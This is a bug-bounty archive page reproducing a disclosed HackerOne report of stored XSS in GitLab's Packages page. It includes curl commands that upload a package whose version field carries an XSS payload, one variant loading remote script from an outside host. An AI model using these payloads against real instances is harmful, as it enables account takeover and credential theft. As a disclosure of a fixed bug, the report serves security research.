Skip to content
XSS Disclosed report Intermediate

Stored XSS on the Packages page

A stored cross-site scripting vulnerability existed in the GitLab Packages page because the package version field was not properly sanitised. An attacker could inject a malicious script that executes when a user clicks on the page, allowing actions on behalf of the user and theft of data or credentials.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

HackerOne report #873734 by mike12 on 2020-05-13, assigned to @ankelly:

Hello Gitlab!

Steps to reproduce

  1. Run Gitlab EE docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ee:rc

  2. Install your license key

  3. Create a new Gitlab project

  4. Upload a package to PyPi Repository. You will need the following:
    1. A personal access token. You can generate a personal access token with the scope set to api for repository authentication
    2. Your project ID which can be found on the home page of your project

    Bash
    touch 1.tar.gz  
    curl -v \  
            -u __token__:<your personal access token> \  
            -F content=[@]1.tar.gz \  
            -F requires_python=3.7 \  
            -F name=mypackage \  
            -F $'version="<img src=x onerror=alert(1)>"' \  
            -F md5_digest=aaa \  
            -F sha256_digest=aaa \  
            http://gitlab.example.com/api/v4/projects/<project_id>/packages/pypi  
    
  5. Go to Packages->List

  6. Click on the "Remove package" button

    1.png
    1.png From the original on GitLab
2.png
2.png
3.png
3.png

Version for gitlab.com

Bash
touch 1.tar.gz  
curl -v \  
        -u __token__:<your personal access token> \  
        -F content=[@]1.tar.gz \  
        -F requires_python=3.7 \  
        -F name=mypackage \  
        -F $'version="<a data-remote=\'true\' data-method=\'get\' data-type=\'script\' href=\'https://gitlab.com/vovisak299/demo/-/raw/master/demo.js\' class=\'atwho-view select2-drop-mask pika-select\'><img height=10000 width=10000></a>"' \  
        -F md5_digest=aaa \  
        -F sha256_digest=aaa \  
        https://gitlab.com/api/v4/projects/<project_id>/packages/pypi  

It works on gitlab.com, but requires the user to click anywhere on the page.
For explanations, see https://hackerone.com/reports/662287#activity-6026826

My GitLab version

root@gitlab:/# gitlab-rake gitlab:env:info

System information  
System:  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.7  
Git Version:    2.26.2  
Sidekiq Version:5.2.7  
Go Version:     unknown

GitLab information  
Version:        12.10.3-ee  
Revision:       7c0ab260960  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     11.7  
URL:            http://gitlab.example.com  
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git  
SSH Clone URL:  [email protected]:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        12.2.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Git:            /opt/gitlab/embedded/bin/git  

Impact

An attacker can:

  1. Perform any action within the application that a user can perform
  2. Steal sensitive user data
  3. Steal user's credentials

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could perform any action within the application that a user can perform, steal sensitive user data, and steal user's credentials.

What the attacker needed

A GitLab account; a personal access token with api scope; victim clicks on the page

How it was found

  1. Run GitLab EE using Docker.
  2. Install a license key.
  3. Create a new GitLab project.
  4. Upload a package to the PyPI repository with a malicious version string.
  5. Go to Packages -> List.
  6. Click on the 'Remove package' button.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a stored cross-site scripting (XSS) bug. The attacker uploaded a package with a version name that contained a script. When someone later viewed the package list and clicked, the script ran in their browser, letting the attacker act as that user.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.